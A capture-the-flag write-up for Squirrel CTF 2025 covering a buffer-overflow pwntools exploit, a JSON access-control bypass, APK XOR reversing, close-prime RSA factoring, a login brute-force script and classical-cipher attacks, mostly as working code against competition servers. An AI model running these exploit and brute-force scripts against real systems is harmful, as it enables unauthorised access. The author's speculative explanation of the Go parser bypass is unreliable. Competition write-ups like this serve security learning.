Squirrel CTF 2025—WriteUp

Today, I’ll be sharing the solutions to the challenges we solved during Squirrel CTF 2025. It was a fun event with a lot of interesting…

Today, I’ll be sharing the solutions to the challenges we solved during Squirrel CTF 2025. It was a fun event with a lot of interesting problems. I’ll show how we approached each one and how we managed to solve them. Let’s get started!

Pwn — dejavu

I was provided with a binary file, I decompiled and this is the content of the win function

void win(void)

{
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  FILE *local_10;
  
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  puts("You got it!!");
  local_10 = (FILE *)FUN_00401100("flag.txt",&DAT_00402015);
  if (local_10 == (FILE *)0x0) {
    puts("Error: Could not open flag.txt (create this file for testing)");
  }
  else {
    fgets((char *)&local_78,100,local_10);
    printf("%s",&local_78);
    fclose(local_10);
  }

This is the main
undefined8 main(void)

{
  char local_48 [64];
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  printf("pwnme: ");
  gets(local_48);
  return 0;
}

Did you spot it? It’s Buffer Overflow in main()

The buffer local_48 is 64 bytes long (as defined by char local_48[64]). However, gets() does not check the size of local_48, so if more than 64 bytes are input, the extra data will overflow into adjacent memory. This adjacent memory includes the saved base pointer (BP) and the return address on the stack.

How to exploit this?

  1. Overflow the buffer: Send more than 64 bytes of input to overwrite the return address on the stack.

  2. Control the return address: Overwrite the return address with the address of the win() function so that when main() returns, it jumps to win() instead of exiting.

Now all we need to do is to find the win address, we will use GDB for this

We will first set a breakpoint in main

break main
run

Next, we will disassemble win to find its address

disassemble win

As you can see here, the win function starts at address 0x4011f6

The program is 64-bit (x86_64, based on the instructions like endbr64 and 8-byte stack adjustments).

We’ll use this information to craft a precise payload for the buffer overflow exploit. The goal: overflow the 64-byte buffer in main to overwrite the return address with the address of win() (0x4011f6).

from pwn import *

host = '20.84.72.194'
port = 5000

# Address of win()
win_address = p64(0x4011f6)  # Little-endian encoding for 64-bit

# Payload construction
# Buffer size is 64 bytes, followed by saved BP (8 bytes), then return address (8 bytes)
junk = b'A' * 64  # Fill the 64-byte buffer
junk_bp = b'B' * 8  # Overwrite saved base pointer (not critical)
payload = junk + junk_bp + win_address  # Total: 64 + 8 + 8 = 80 bytes

def exploit_remote():
    # Connect to remote server
    p = remote(host, port)

    # Send the payload
    p.sendline(payload)

    # Interact with the remote process to see the output (e.g., the flag)
    p.interactive()

if __name__ == "__main__":
    exploit_remote()

Run it and it should give us the flag!

Web — Go Getter

When we visit the site, this is the interface

As you can see here, we are asked to choose an action, either Get GOpher or get the flag, when I choose Get Gopher and submit it, it just show me the picture of Gopher, the mascot of the Golang xd, and when we choose the second option, it gives me an error “Error: Access denied: You are not an admin.”

so I launched burpsuite and intercept the request

Get GOpher
I don’t care about gophers, I want the flag >:)

This is the scripts

package main

import (
        "bytes"
        "encoding/json"
        "io"
        "log"
        "net/http"
)

// Struct to parse incoming JSON
type RequestData struct {
        Action string `json:"action"`
}

// Serve the HTML page
func homeHandler(w http.ResponseWriter, r *http.Request) {
        html := `<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>What GOpher are you?</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <script>
        function sendRequest() {
            const selectedOption = document.querySelector('input[name="action"]:checked');
            if (!selectedOption) {
                alert("Please select an action!");
                return;
            }

            fetch("/execute", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ action: selectedOption.value })
            })
            .then(response => response.text().then(text => ({ text, response })))
            .then(({ text, response }) => {
                var gopherContainer = document.getElementById("gopher-container");
                var errorContainer = document.getElementById("error-container");
                gopherContainer.innerHTML = "";
                errorContainer.innerHTML = "";

                try {
                    var data = JSON.parse(text);
                    if (data.flag) {
                        alert(data.flag);
                    } else if (data.name && data.src) {
                        var nameHeader = document.createElement("h3");
                        nameHeader.textContent = data.name;
                        var gopherImage = document.createElement("img");
                        gopherImage.src = data.src;
                        gopherImage.className = "img-fluid rounded";
                        gopherContainer.appendChild(nameHeader);
                        gopherContainer.appendChild(gopherImage);
                    }
                } catch (error) {
                    errorContainer.textContent = "Error: " + text;
                    errorContainer.className = "text-danger mt-3";
                }
            })
            .catch(function(error) {
                console.error("Error:", error);
            });
        }
    </script>
</head>
<body class="container py-5 text-center">
    <h1 class="mb-4">Choose an Action</h1>
    <div class="d-flex flex-column align-items-center mb-3">
        <div class="form-check">
            <input class="form-check-input" type="radio" name="action" value="getgopher" id="getgopher">
            <label class="form-check-label" for="getgopher">Get GOpher</label>
        </div>
        <div class="form-check">
            <input class="form-check-input" type="radio" name="action" value="getflag" id="getflag">
            <label class="form-check-label" for="getflag">I don't care about gophers, I want the flag >:)</label>
        </div>
    </div>
    <button class="btn btn-primary" onclick="sendRequest()">Submit</button>
    <div id="error-container"></div>
    <div id="gopher-container" class="mt-4"></div>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>`
        w.Header().Set("Content-Type", "text/html")
        w.Write([]byte(html))
}

// Handler for executing actions
func executeHandler(w http.ResponseWriter, r *http.Request) {
        if r.Method != http.MethodPost {
                http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
                return
        }

        // Read JSON body
        body, err := io.ReadAll(r.Body)
        if err != nil {
                http.Error(w, "Failed to read request body", http.StatusBadRequest)
                return
        }

        // Parse JSON
        var requestData RequestData
        if err := json.Unmarshal(body, &requestData); err != nil {
                http.Error(w, "Invalid JSON", http.StatusBadRequest)
                return
        }

        // Process action
        switch requestData.Action {
        case "getgopher":
                resp, err := http.Post("http://python-service:8081/execute", "application/json", bytes.NewBuffer(body))
                if err != nil {
                        log.Printf("Failed to reach Python API: %v", err)
                        http.Error(w, "Failed to reach Python API", http.StatusInternalServerError)
                        return
                }
                defer resp.Body.Close()

                // Forward response from Python API back to the client
                responseBody, _ := io.ReadAll(resp.Body)
                w.WriteHeader(resp.StatusCode)
                w.Write(responseBody)
        case "getflag":
                w.Write([]byte("Access denied: You are not an admin."))
        default:
                http.Error(w, "Invalid action", http.StatusBadRequest)
        }
}

func main() {
        http.HandleFunc("/", homeHandler)
        http.HandleFunc("/execute", executeHandler)

        log.Println("Server running on http://localhost:8080")
        log.Fatal(http.ListenAndServe(":8080", nil))
}

app.py

from flask import Flask, request, jsonify
import random
import os

app = Flask(__name__)

GO_HAMSTER_IMAGES = [
    {
        "name": "boring gopher",
        "src": "https://camo.githubusercontent.com/a72f086b878c2e74b90d5dbd3360e7a4aa132a219a662f4d83b7c243298fea4d/68747470733a2f2f7261772e6769746875622e636f6d2f676f6c616e672d73616d706c65732f676f706865722d766563746f722f6d61737465722f676f706865722e706e67"
    },
    {
        "name": "gopher plush",
        "src": "https://go.dev/blog/gopher/plush.jpg"
    },
    {
        "name": "fairy gopher",
        "src": "https://miro.medium.com/v2/resize:fit:1003/1*lzAGEWMWtgn3NnRECl8gmw.png"
    },
    {
        "name": "scientist gopher",
        "src": "https://miro.medium.com/v2/resize:fit:1400/1*Xxckk9KBW73GWgxhtJN5nA.png"
    },
    {
        "name": "three gopher",
        "src": "https://go.dev/blog/gopher/header.jpg"
    },
    {
        "name": "hyperrealistic gopher",
        "src": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSPNG7wGmWuHcSi7Wkzmht8TSdeXAHOl5edBw&s"
    },
    {
        "name": "flyer gopher",
        "src": "https://upload.wikimedia.org/wikipedia/commons/d/df/Go_gopher_app_engine_color.jpg"
    }
]

@app.route('/execute', methods=['POST'])
def execute():
    # Ensure request has JSON
    if not request.is_json:
        return jsonify({"error": "Invalid JSON"}), 400

    data = request.get_json()

    # Check if action key exists
    if 'action' not in data:
        return jsonify({"error": "Missing 'action' key"}), 400

    # Process action
    if data['action'] == "getgopher":
        # choose random gopher
        gopher = random.choice(GO_HAMSTER_IMAGES)
        return jsonify(gopher)
    elif data['action'] == "getflag":
        return jsonify({"flag": os.getenv("FLAG")})
    else:
        return jsonify({"error": "Invalid action"}), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8081, debug=True)

At first, I’ve tried using basic payloads like

curl -i -X POST http://52.188.82.43:8080/execute \
  -H "Content-Type: application/json" \
  -d '{"action":"getflag","user":"admin"}'

Despite all efforts, the result remained the same — permission denied. After hours of solving, a realization struck: what if we resend the payload but adding the action again but capitalize the first letter of the key, changing “action” to “Action”? The idea might seem simple, but it pointed to a deeper issue—a case-sensitivity bug in the server's parser.

What likely happened was that the server’s JSON parser or application logic treated action and Action as completely separate fields. When the request contained “action”: “getflag”, the server correctly checked for proper authorization and denied the request due to insufficient privileges. However, by using “Action”: “getgopher”, the request may have bypassed the security check. This could be because the parser processed Action as a distinct, potentially higher-priority field, or interpreted it as a privileged command. This behavior indicates that the server likely uses a case-sensitive parser, allowing a cleverly crafted request to bypass its intended access controls.

curl -i -X POST http://52.188.82.43:8080/execute \
  -H "Content-Type: application/json" \
  -d '{"action":"getflag","Action":"getgopher"}'

After testing it, it gives me the flag!!! But still weird payload haha

I still have no idea how did I trigger this, it’s on the parser obviously but still unclear. But here’s my understanding behind it

type RequestData struct {
    Action string `json:"action"`
}

var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
    http.Error(w, "Invalid JSON", http.StatusBadRequest)
    return
}

The json.Unmarshal function in Go is generally robust, but it has specific rules:

  • It matches JSON field names to struct field tags (e.g., “action” maps to Action in the struct via the json:”action” tag).

  • It ignores unknown fields in the JSON unless you use options like json.Decoder.DisallowUnknownFields().

  • By default, it silently discards any JSON fields that don’t match the struct tags.

In our payload {“action”:”getflag”,”Action”:”getgopher”}, there are two fields: action (lowercase) and Action (capitalized). The RequestData struct only defines “action” (lowercase), so:

  • “action”:”getflag” is parsed into requestData.Action.

  • “Action”:”getgopher” is ignored because there’s no matching struct field tagged with “Action”.

Normally, the Go server should still process “action”:”getflag” and return “Access denied: You are not an admin.” However, the presence of the extra “Action”:”getgopher” field might exploit a parsing quirk or bug:

  • Unmarshaling Failure: If the JSON contains unexpected fields, json.Unmarshal might fail or behave unpredictably, especially if the struct is strict. However, in this case, it should still succeed (ignoring “Action”). The fact that it didn’t block suggests the parsing logic might have fallen back to a default or forwarded state.

  • Forwarding Trigger: The switch statement in executeHandler only checks requestData.Action. If the unmarshaling of “action”:”getflag” was somehow disrupted by the extra “Action”:”getgopher” field (e.g., due to a misconfiguration or custom decoder), the server might have skipped the “getflag” case and defaulted to forwarding the request to the Python service. This could happen if:

  1. The Go code uses a custom json.Decoder or middleware that mishandles extra fields.

  2. There’s a logic error where any unrecognized JSON causes the server to forward instead of block.

data = request.get_json()
if 'action' not in data:
    return jsonify({"error": "Missing 'action' key"}), 400

if data['action'] == "getflag":
    return jsonify({"flag": os.getenv("FLAG")})

Flask’s request.get_json() is also robust but flexible. It parses the entire JSON into a Python dictionary, and any extra fields (like “Action”:”getgopher”) are preserved in the data dictionary.

When the Go server forwards our payload {“action”:”getflag”,”Action”:”getgopher”} to the Python service, the Python service sees both fields:

  • It checks data[‘action’], which is “getflag”, and returns the flag.

  • The extra “Action”:”getgopher” is ignored because the Python code only cares about the “action” key.

The presence of the word parser suggests that the issue isn’t in the Python service but in how the Go server parses and decides what to do with the JSON. The Python service simply processes whatever it receives, but the Go server’s decision to forward (instead of block) the “getflag” request must stem from a parsing error.

Rev — Droid

I was provided an apk file. The name is droid.apk, I decompile the apk file using Bytecode Viewer (VCB) and upon exploring, I found this MainActivityKt.class and this is the code inside

public final class MainActivityKt {
   private static final int[] expected = new int[]{110, 150, 207, 72, 80, 147, 236, 122, 155, 186, 15, 250, 149, 240, 243, 207, 21, 59, 90, 3, 173, 237, 86, 27, 70, 28, 30, 188, 23, 153, 88};
   private static final int[] key = new int[]{29, 231, 186, 121, 34, 225, 137, 22, 224, 209, 63, 142, 249, 193, 157, 144, 124, 72, 5, 96, 157, 221, 103, 68, 40, 45, 109, 136, 123, 173, 37};

                :
                :

   public static final boolean check(String var0) {
      Intrinsics.checkNotNullParameter(var0, "text");
      if (var0.length() != expected.length) {
         return false;
      } else {
         int[] var3 = new int[expected.length];
         int var1 = 0;

         for(int var2 = expected.length; var1 < var2; ++var1) {
            var3[var1] = var0.charAt(var1) ^ key[var1];
         }

         var0 = ArraysKt.joinToString$default(var3, (CharSequence)null, (CharSequence)null, (CharSequence)null, 0, (CharSequence)null, (Function1)null, 63, (Object)null);
         System.out.println(var0);
         var0 = ArraysKt.joinToString$default(expected, (CharSequence)null, (CharSequence)null, (CharSequence)null, 0, (CharSequence)null, (Function1)null, 63, (Object)null);
         System.out.println(var0);
         return Arrays.equals(var3, expected);
      }
   }

   public static final int[] getExpected() {
      return expected;
   }

   public static final int[] getKey() {
      return key;
   }
}

The provided Java/Kotlin code in MainActivityKt implements a verification system where the check method determines if an input string var0 is valid by ensuring its length matches that of the expected array (31 characters); if so, it XORs each character of the string with corresponding values from the key array to produce a new array var3, then checks if var3 exactly matches the expected array using Arrays.equals. The expected and key arrays contain 31 integers each, representing encrypted or encoded data and the encryption key, respectively, with the goal of finding a string whose XOR with key yields expected, effectively decrypting to retrieve a flag or solution. The method also prints the string representations of var3 and expected for debugging, and provides getter methods to access the expected and key arrays.

To find the flag (the string var0), we can use the expected and key arrays. For each position i in the arrays:

  • The original character at position i in the flag can be found by XORing the expected[i] with key[i]. This works because if CCC is the original character, EEE is the expected value, and KKK is the key, the encryption process was E=C⊕KE = C \oplus KE=C⊕K. To decrypt, we do C=E⊕KC = E \oplus KC=E⊕K.

  • Both arrays have 31 elements, so the flag will be a 31-character string.

Calculating the Flag

For each position i from 0 to 30:

  • Compute the character as flag[i] = (char)(expected[i] ^ key[i]).

  • This character should be a printable ASCII character (typically between 32 and 126, though spaces and other symbols might also be valid depending on the context).

Let’s perform this computation. We’ll XOR each pair of corresponding elements from expected and key, then convert the result to a character.

# Array containing the expected values (encrypted or encoded data) that the flag should decrypt to
expected = [110, 150, 207, 72, 80, 147, 236, 122, 155, 186, 15, 250, 149, 240, 243, 207, 21, 59, 90, 3, 173, 237, 86, 27, 70, 28, 30, 188, 23, 153, 88]

# Array containing the key values used to encrypt or decrypt the flag
key = [29, 231, 186, 121, 34, 225, 137, 22, 224, 209, 63, 142, 249, 193, 157, 144, 124, 72, 5, 96, 157, 221, 103, 68, 40, 45, 109, 136, 123, 173, 37]

flag = ""  # Initialize an empty string to store the decrypted flag

# Iterate over the indices of the expected and key arrays to decrypt each character
for i in range(len(expected)):
    # XOR the corresponding values from expected and key to get the original character code
    char_code = expected[i] ^ key[i]
    # Convert the character code to its ASCII character and append it to the flag
    flag += chr(char_code)

# Print the final decrypted flag
print("Flag:", flag)

Run and it should give the flag

Crypto — Easy RSA

I was provided an easy_rsa.txt containing the given for this challenge

n: 26518484190072684543796636642573643429663718007657844401363773206659586306986264997767920520901884078894807042866105584826044096909054367742753454178100533852686155634326578229244464083405472076784252798532101323300927917033985149599262487556178538148122012479094592746981412717431260240328326665253193374956717147239124238669998383943846418315819353858592278242580832695035016713351286816376107787722262574185450560176240134182669922757134881941918668067864082251416681188295948127121973857376227427652243249227143249036846400440184395983449367274506961173876131312502878352761335998067274325965774900643209446005663
e: 65537
c: 14348338827461086677721392146480940700779126717642704712390609979555667316222300910938184262325989361356621355740821450291276190410903072539047611486439984853997473162360371156442125577815817328959277482760973390721183548251315381656163549044110292209833480901571843401260931970647928971053471126873192145825248657671112394111129236255144807222107062898136588067644203143226369746529685617078054235998762912294188770379463390263607054883907325356551707971088954430361996309098504380934167675525860405086306135899933171103093138346158349497350586212612442120636759620471953311221396375007425956203746772190351265066237

And an easy_rsa.py

import random
from sympy import nextprime, mod_inverse

def gen_primes(bit_length, diff=2**32):
    p = nextprime(random.getrandbits(bit_length))
    q = nextprime(p + random.randint(diff//2, diff))
    return p, q

def gen_keys(bit_length=1024):
    p, q = gen_primes(bit_length)
    n = p * q
    phi = (p - 1) * (q - 1)

    e = 65537
    d = mod_inverse(e, phi)

    return (n, e)

def encrypt(message, public_key):
    n, e = public_key
    message_int = int.from_bytes(message.encode(), 'big')
    ciphertext = pow(message_int, e, n)
    return ciphertext

if __name__ == "__main__":
    public_key = gen_keys()

    message = "FLAG"
    ciphertext = encrypt(message, public_key)

    f = open("easy_rsa.txt", "a")
    f.write(f"n: {public_key[0]} \n")
    f.write(f"e: {public_key[1]} \n")
    f.write(f"c: {ciphertext}")
    f.close()

Basically, this is an RSA encryption challenge where the primes p and q are generated in a way that makes them close to each other, which is insecure. Here’s how we can crack this:

The key generation shows that:

  • p is a random prime

  • q is the next prime after p + random.randint(diff//2, diff)

  • This means p and q are relatively close to each other

When primes are close together, we can exploit this by:

  • Taking the square root of n (since n=p*q)

  • Searching for primes near this value

Here’s the code to get the flag, I use Sagemath Cell Server.

# Given values
n = 26518484190072684543796636642573643429663718007657844401363773206659586306986264997767920520901884078894807042866105584826044096909054367742753454178100533852686155634326578229244464083405472076784252798532101323300927917033985149599262487556178538148122012479094592746981412717431260240328326665253193374956717147239124238669998383943846418315819353858592278242580832695035016713351286816376107787722262574185450560176240134182669922757134881941918668067864082251416681188295948127121973857376227427652243249227143249036846400440184395983449367274506961173876131312502878352761335998067274325965774900643209446005663
e = 65537
c = 14348338827461086677721392146480940700779126717642704712390609979555667316222300910938184262325989361356621355740821450291276190410903072539047611486439984853997473162360371156442125577815817328959277482760973390721183548251315381656163549044110292209833480901571843401260931970647928971053471126873192145825248657671112394111129236255144807222107062898136588067644203143226369746529685617078054235998762912294188770379463390263607054883907325356551707971088954430361996309098504380934167675525860405086306135899933171103093138346158349497350586212612442120636759620471953311221396375007425956203746772190351265066237

# Step 1: Find p and q using Fermat's factorization (since p and q are close)
def fermat_factor(n):
    a = ceil(sqrt(n))
    b2 = a^2 - n
    while not is_square(b2):
        a += 1
        b2 = a^2 - n
    return (a - sqrt(b2), a + sqrt(b2))

p, q = map(ZZ, fermat_factor(n))  # Convert from sage types to Python integers

# Verify factorization
assert p * q == n

# Step 2: Compute phi and private key d
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)

# Step 3: Decrypt the ciphertext
m = pow(c, d, n)

# Step 4: Convert the message to bytes
flag = int(m).to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print("Flag:", flag)

Evaluate and it should give us the flag

Web — EmojiCrypt

I was provided with a script, app.py

from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os
from dotenv import load_dotenv
load_dotenv()

app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['🌀', '🌁', '🌂', '🌐', '🌱', '🍀', '🍁', '🍂', '🍄', '🍅', '🎁', '🎒', '🎓', '🎵', '😀', '😁', '😂', '😕', '😶', '😩', '😗']
NUMBERS = '0123456789'
database = None

def get_db():
    global database
    if database is None:
        database = sqlite3.connect(DATABASE)
        init_db()
    return database

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))

def init_db():
    with app.app_context():
        db = get_db()
        cursor = db.cursor()
        cursor.execute('''CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            email TEXT UNIQUE NOT NULL,
            username TEXT UNIQUE NOT NULL,
            password_hash TEXT NOT NULL,
            salt TEXT NOT NULL
        )''')
        db.commit()

@app.route('/register', methods=['POST'])
def register():
    email = request.form.get('email')
    username = request.form.get('username')

    if not email or not username:
        return "Missing email or username", 400
    salt = generate_salt()
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')

    # TODO: email the password to the user. oopsies!

    db = get_db()
    cursor = db.cursor()
    try:
        cursor.execute("INSERT INTO users (email, username, password_hash, salt) VALUES (?, ?, ?, ?)", (email, username, password_hash, salt))
        db.commit()
    except sqlite3.IntegrityError as e:
        print(e)
        return "Email or username already exists", 400

    return redirect(url_for('index', registered='true'))

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if not username or not password:
        return "Missing username or password", 400

    db = get_db()
    cursor = db.cursor()
    cursor.execute("SELECT salt, password_hash FROM users WHERE username = ?", (username,))
    data = cursor.fetchone()
    if data is None:
        return redirect(url_for('index', incorrect='true'))

    salt, hash = data

    if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
        return os.environ.get("FLAG")
    else:
        return redirect(url_for('index', incorrect='true'))

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

if __name__ == '__main__':
    app.run(port=8000)

The vulnerability is obvious here

  1. Users are auto-registered with a random password

random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
  • This line generates a 32-digit numeric password using only 0-9.

  • The password is never shown to the user.

  • Worse, the comment says: “TODO: email the password to the user. oopsies!”

  • So users are registered with a password they never receive. This is the core flaw.

2. Salt is predictable (made of emojis)

def generate_salt():
    return 'aa'.join(random.choices(EMOJIS, k=12))
  • The salt is not user-specific or secret; it just uses emojis in a fixed pattern (joined by aa).

  • Since salts are stored in the DB, this is not a critical issue on its own, but…

3. No password input required during registration

@app.route('/register', methods=['POST'])
def register():
    ...
    random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
    ...
  • The password is fully generated server-side.

  • This means an attacker can register any number of users, and try guessing the generated password.

How to exploit this?

  • Register a new user — username + email only.

  • The server silently generates a random 32-digit number password (digits only).

  • We can assume most of these passwords start with low digits (00, 01, 02, ….)

  • We can brute-force login with 00000000000000000000000000000000 to 99000000000000000000000000000000.

Here’s the exploit

import requests
import random
import time

# Step 1: Forge a new user identity
print("[*] Initializing attack sequence...")
time.sleep(0.5)

signup_url = "http://52.188.82.43:8060/register"
fake_user = "kuroshiro"
email_address = f"{@phantommail.com">fake_user}@phantommail.com"

print(f"[+] Generated credentials:\n    > Username: {fake_user}\n    > Email: {email_address}")

registered_payload = {
        "email": email_address,
        "username": fake_user
}

print(f"[*] Sending registration request to {signup_url}...")
register_response = requests.post(signup_url, data=registered_payload)
time.sleep(0.3)

if register_response.status_code == 200:
    print(f"[+] Registration successful! Status Code: {register_response.status_code}")
else:
    print(f"[!] Registration may have failed. Status Code: {register_response.status_code}")
    exit()

# Step 2: Begin the brute-force operation
login_url = "http://52.188.82.43:8060/login"
print(f"[*] Launching brute-force on login aendpoint: {login_url}")
print("[*] Attempting to bypass password requirement with 2-digit prefix and padded zeroes...")
print("-" * 40)

for trial in range(100):
    candidate_password = f"{trial:02d}" + "0" * 30
    login_payload = {
            "username": fake_user,
            "password": candidate_password
    }

    print(f"[*] Attempt #{trial + 1:03}: Trying password → '{candidate_password}'")
    response = requests.post(login_url, data=login_payload)

    if "squ1rrel{" in response.text:
        print("-" * 40)
        print("[+] Flag Captured!")
        print(f"{response.text}")
        break
else:
    print("\n[!] All attempts exhausted. Flag not found.")

Run the script to start the bruteforce attack and after some time, it should give us the flag!

Crypto — Secure Vigenere

At first, we can assumea a static ciphertext and try to brute-force or guess the key by testing various combinations derived from “squirrelctf”, right? But it will not work here.

To fully grasp the problem, it’s important to recognize that the challenge goes beyond decrypting one fixed ciphertext. It involves dealing with several encrypted versions (fragments) of the same flag. This is necessary because the ciphertext may differ, or we may need to gather multiple samples to identify a consistent pattern.

Here’s our approach

  • The server likely returns multiple slightly different encryptions (fragments) of the same flag. Each fragment is encrypted with the same key (“squirrelctf” or its shifts), but there may be variations (e.g., different starting points, padding, or noise).

  • The plaintext (flag) is constant across all fragments, so we can use this redundancy to our advantage.

  • Use socket programming to connect to the server. Fetch up to a fixed number of encrypted fragments.

  • Use regular expressions to extract the ciphertext (e.g., match patterns like “Flag: [a-z]+”) from the server response.

  • Check the lengths of all collected fragments. Identify the most common length using statistical mode, as fragments of the same length are likely valid encryptions of the same flag.

  • Keep only the fragments that match this common length to ensure we’re working with consistent data.

  • The key is squirrelctf. Convert each unique letter in the key to its numerical shift (e.g., s=18, q=16, u=20, etc., where a=0, b=1, …, z=25).

  • Build a set of all possible shifts from the key’s letters (e.g., {2, 4, 5, 8, 11, 16, 17, 18, 19, 20} for c, e, f, i, l, q, r, s, t, u).

  • For each position in the fragments, calculate all possible plaintext characters. For a given ciphertext character (e.g., ‘k’ = 10), subtract each shift from the shift set to get potential plaintexts (e.g., (10 — shift) mod 26).

  • Across all valid fragments, find the intersection of these sets at each position. The intersection gives the only plaintext character that could produce all observed ciphertexts when encrypted with any shift from squirrelctf.

  • For each position, select the most likely plaintext character (e.g., the only character in the intersection set, or the first if multiple).

  • Concatenate these characters to form the final plaintext (flag).

Here’s our solution

import socket
import re
import time
from statistics import mode
from typing import Set, List

# Configuration
TARGET_HOST = "20.84.72.194"
TARGET_PORT = 5007
MAX_ATTEMPTS = 10
KEY = "squirrelctf"
SHIFT_SET = {ord(c) - ord('a') for c in KEY}

def fetch_fragment() -> str | None:
    """Retrieve an encrypted fragment from the target server."""
    try:
        with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=5) as conn:
            data = conn.recv(2048).decode('utf-8')
            match = re.search(r"Flag:\s*([a-z]+)", data)
            return match.group(1) if match else None
    except (socket.error, UnicodeDecodeError):
        return None

fragments = []
for attempt in range(MAX_ATTEMPTS):
    print(f"[*] Attempt {attempt + 1}/{MAX_ATTEMPTS}...")
    fragment = fetch_fragment()
    if fragment:
        print(f"[+] Success: {fragment}")
        fragments.append(fragment)
    else:
        print("[-] Failed.")
    time.sleep(0.1)

if not fragments:
    print("\n[-] No fragments retrieved. Process aborted.")
    exit(1)

# Analyze fragment lengths to find the most common
fragment_lengths = [len(f) for f in fragments]
common_length = mode(fragment_lengths)
valid_fragments = [f for f in fragments if len(f) == common_length]

print(f"[+] Processed {len(valid_fragments)} valid fragments, each of length {common_length}.")
print(f"[+] Key used: {KEY}")

def decode_char(char: str) -> Set[int]:
    """Determine possible decoded values for a character based on shift set."""
    pos = ord(char) - ord('a')
    return {(pos - shift) % 26 for shift in SHIFT_SET}

# Decode each position across all fragments
decoded_options = []
for pos in range(common_length):
    options = decode_char(valid_fragments[0][pos])
    for fragment in valid_fragments[1:]:
        options &= decode_char(fragment[pos])
    decoded_options.append(options)

# Construct the final flag
final_flag = ""
print("\nDecoding results:")
for i, options in enumerate(decoded_options):
    chars = sorted(chr(opt + ord('a')) for opt in options)
    selected = chars[0]  # Choose the first (most likely) option
    print(f"Position {i}: Options {chars}, Selected {selected}")
    final_flag += selected

final_output = f"squirrel{{{final_flag}}}"
print("-" * 30)
print(f"Flag: {final_output}")

Run it and it should give us the flag!

Crypto — XOR101

My bike lock has 13 digits, you might have to dig around! 434542034a46505a4c516a6a5e496b5b025b5f6a46760a0c420342506846085b6a035f084b616c5f66685f616b535a035f6641035f6b7b5d765348

The flag format is squ1rrel{inner_flag_contents}. hint: the inner flag contents only include letters, digits, or underscores.

From the description, the key is likely a 13-digit numerical string. It includes all possible patterns that can be XORed, as well as alphanumeric characters or the underscore (“_”). Therefore, the flag is assumed to start with “squ1rrel{“.

Since we know that the string starts from squ1rrel{, all we need to do first is to get our partial key. How?

  • We will get the first 9 bytes of ciphertext

  • Then we will get the first 9 bytes of plaintext

  • XOR to get the partial key

Now that we have the partial key, all we need to do is to do is to try all possible 4-digit endings (0000–9999)

Here’s the solution

hex_str = "434542034a46505a4c516a6a5e496b5b025b5f6a46760a0c420342506846085b6a035f084b616c5f66685f616b535a035f6641035f6b7b5d765348"
encrypted_bytes = bytes.fromhex(hex_str)

# First 9 digits of the key (from partial decryption)
partial_key = b'047284567'

# Try all possible 4-digit endings (0000-9999)
for suffix in range(0, 10000):
    suffix_str = f"{suffix:04d}"
    full_key = partial_key + suffix_str.encode()

    # XOR decrypt with the 13-digit key
    decrypted = bytes([encrypted_bytes[i] ^ full_key[i % 13] for i in range(len(encrypted_bytes))])

    try:
        decrypted_text = decrypted.decode()
        # More strict validation
        if (decrypted_text.startswith("squ1rrel{") and
            decrypted_text.endswith("}") and
            all(c.isalnum() or c == '_' for c in decrypted_text[9:-1]) and
            # Additional check for common flag patterns
            b'_' in decrypted[9:-1] and
            b'0' in decrypted[9:-1]):
            print(f"Potential key: {full_key.decode()}")
            print(f"Potential flag: {decrypted_text}")
            # You might want to manually inspect these
    except UnicodeDecodeError:
        continue

Run the script and upon checking all potential key, this one is the most accurate

Tried to submit it and we’re correct, this is the flag!!!

And that’s a wrap! I hope you all enjoyed reading through my writeup and found it helpful. It was an incredible challenge, and I’m glad to share the experience with you. Out of 541 teams, we managed to secure 41st place, which is a huge achievement considering the competition. While it wasn’t first place, it’s a reflection of the effort and knowledge we put in, and I couldn’t be prouder of how we performed.

Throughout this experience, I learned a ton — whether it was discovering new techniques, sharpening my problem-solving skills, or just pushing through tough moments. It was also a great reminder of how much room there is to grow, and I’m excited for future challenges. This isn’t the end, but rather just another step forward in this journey.

I hope this writeup can serve as a helpful guide for others working on similar challenges, and maybe even inspire someone to take on a competition or problem-solving event. There’s always something to learn, and the process is just as valuable as the result. Thanks to everyone who followed along, and let’s keep improving, supporting each other, and pushing our limits. Here’s to many more victories and experiences to come! Keep grinding, and I’ll see you in the next one!

Last updated